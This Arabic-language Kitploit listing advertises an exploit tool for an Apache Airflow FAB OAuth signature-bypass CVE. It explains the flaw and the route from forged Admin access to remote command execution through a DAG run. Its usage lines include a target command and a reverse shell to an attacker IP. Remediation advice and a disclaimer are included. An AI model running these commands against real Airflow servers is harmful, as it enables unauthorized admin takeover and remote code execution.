Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-59243_exploit — استغلال لثغرة تجاوز مصادقة OAuth في FAB الخاص بـ Apache Airflow (CVE-2026-59243) يحقق وصولاً بصلاحيات المسؤول وتنفيذًا عن بُعد للشفرة البرمجية عبر تشغيل DAG مُصمَّم خصيصًا من خلال REST API. | Kitploit
أدوات/GitHubGitHub/0xdak/cve-2026-59243_exploit
المصادقة والترخيصالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأمن واجهات برمجة التطبيقات
GitHub0xdak/cve-2026-59243_exploit

CVE-2026-59243_exploit

استغلال لثغرة تجاوز مصادقة OAuth في FAB الخاص بـ Apache Airflow (CVE-2026-59243) يحقق وصولاً بصلاحيات المسؤول وتنفيذًا عن بُعد للشفرة البرمجية عبر تشغيل DAG مُصمَّم خصيصًا من خلال REST API.

عرض المستودع
منذ 15 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-59243 — تجاوز مصادقة OAuth في موفر FAB الخاص بـ Apache Airflow → تنفيذ أوامر عن بُعد عبر DAG

تجاوز مصادقة في موفر مدير المصادقة FAB الخاص بـ Apache Airflow (apache-airflow-providers-fab)، مما يؤدي إلى تنفيذ أوامر عن بُعد عبر DAG مُشغَّل.

يقوم الموفر بفك ترميز id_token الخاص بـ Azure OAuth مع تعطيل التحقق من التوقيع افتراضيًا (airflow/providers/fab/auth_manager/security_manager/override.py, _decode_and_validate_azure_jwt):

root@kitploit:~
verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
if verify_signature:
    ...                                            # JWKS validation (only if explicitly enabled)
_parts = id_token.split(".")
_payload = _parts[1] + "=" * (-len(_parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(_payload))   # raw payload, NO signature check

تُربط المطالبات (claims) مباشرةً بالهوية — oid → اسم المستخدم، roles → role_keys — وتحوّل AUTH_ROLES_MAPPING مطالبة roles=["Azure-Admins"] إلى دور Admin. وبما أنه لا يتم التحقق من توقيع الرمز أو مُصدِره أو جمهوره (audience) أبدًا (CWE-347)، يمكن للمهاجم الذي يُكمل تدفق OAuth أن يسجّل الدخول بصفته Admin دون أي بيانات اعتماد حقيقية. ويمكن للمسؤول بعد ذلك تشغيل DAG ينفّذ أوامر عشوائية.

  • المتأثر: apache-airflow-providers-fab < 3.7.3 (مع apache-airflow >= 3.0.2)
  • الإصلاح: 3.7.3 (تم تغيير السلوك الافتراضي إلى verify_signature=True؛ يُتحقَّق من الرمز مقابل JWKS الخاص بـ Microsoft)
  • CWE: 347 (التحقق غير السليم من التوقيع المشفَّر)
  • المنفذ الافتراضي: 8080 (واجهة Airflow + REST API)
  • الأثر: وصول Admin دون مصادقة → تنفيذ أوامر عن بُعد عبر مهمة DAG (بصفة مستخدم عامل Airflow)

المتطلبات

لا يتطلب الأمر سوى المكتبة القياسية للغة Python 3. يجب أن يحتوي الهدف على مدير مصادقة FAB مع موفر Azure OAuth الضعيف المُهيأ، و(لخطوة RCE) DAG تنفّذ مهمتها dag_run.conf المتحكَّم فيه من المهاجم.

الاستخدام

root@kitploit:~
python3 exploit.py http://target:8080/ -c 'id > /tmp/pwned'
python3 exploit.py http://target:8080/ --shell 10.10.14.5:4444   # nc -lvnp 4444 first

كيف يعمل

  1. تجاوز المصادقة — أجرِ تدفق OAuth (GET /auth/login/azure → IdP → /auth/oauth-authorized/azure) باستخدام حاوية ملفات تعريف الارتباط (cookie jar). يقبل FAB الرمز id_token غير الموقَّع/المزوَّر ويسجّل الدخول بصفته Admin، مع تعيين ملف تعريف ارتباط session وملف تعريف ارتباط _token (JWT الذي تتوقعه REST API).
  2. RCE — أرسل POST /api/v2/dags/<dag>/dagRuns (مع Bearer _token) مع {"conf":{"cmd":"..."}} لتفعيل DAG ينفّذ فيه BashOperator الأمر dag_run.conf['cmd']. واستخدم logical_date فريدًا لكل تشغيل (فالزوج (dag_id, logical_date) فريد في قاعدة بيانات البيانات الوصفية).

تعيد الأداة أيضًا كتابة مضيف الاسترجاع (loopback) في إعادة توجيه authorize الخاصة بـ OAuth ليشير إلى الهدف، وبذلك تعمل ضد هدف بعيد يُعلَن عن IdP الخاص به في إعدادات الخادم على أنه 127.0.0.1.

ملاحظة

يعتمد الاستغلال على خلل التحقق من الرمز. يتطلب الوصول إلى Admin أن يُنتج تدفق OAuth رمزًا بمطالبة roles مرتفعة — وهو أمر يسير عندما يمكن التأثير على IdP أو الرمز، لأن Airflow لا يتحقق من التوقيع أبدًا. تفترض خطوة RCE وجود DAG ينفّذ dag_run.conf (وهو نمط شائع)؛ وإلا فمن الممكن استغلال وصول Admin عبر ميزات Airflow الأخرى.

المعالجة

قم بترقية apache-airflow-providers-fab إلى ≥ 3.7.3؛ لا تربط أبدًا مطالبات أدوار OAuth المُدَّعاة خارجيًا مباشرةً بدور Admin؛ لا تشغّل Airflow بصلاحيات الجذر (root)؛ أبقِ واجهة المستخدم/API بعيدة عن الشبكات غير الموثوقة.

إخلاء مسؤولية

للاستخدام في الاختبارات الأمنية المصرَّح بها والأغراض التعليمية فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

تنزيل الأداة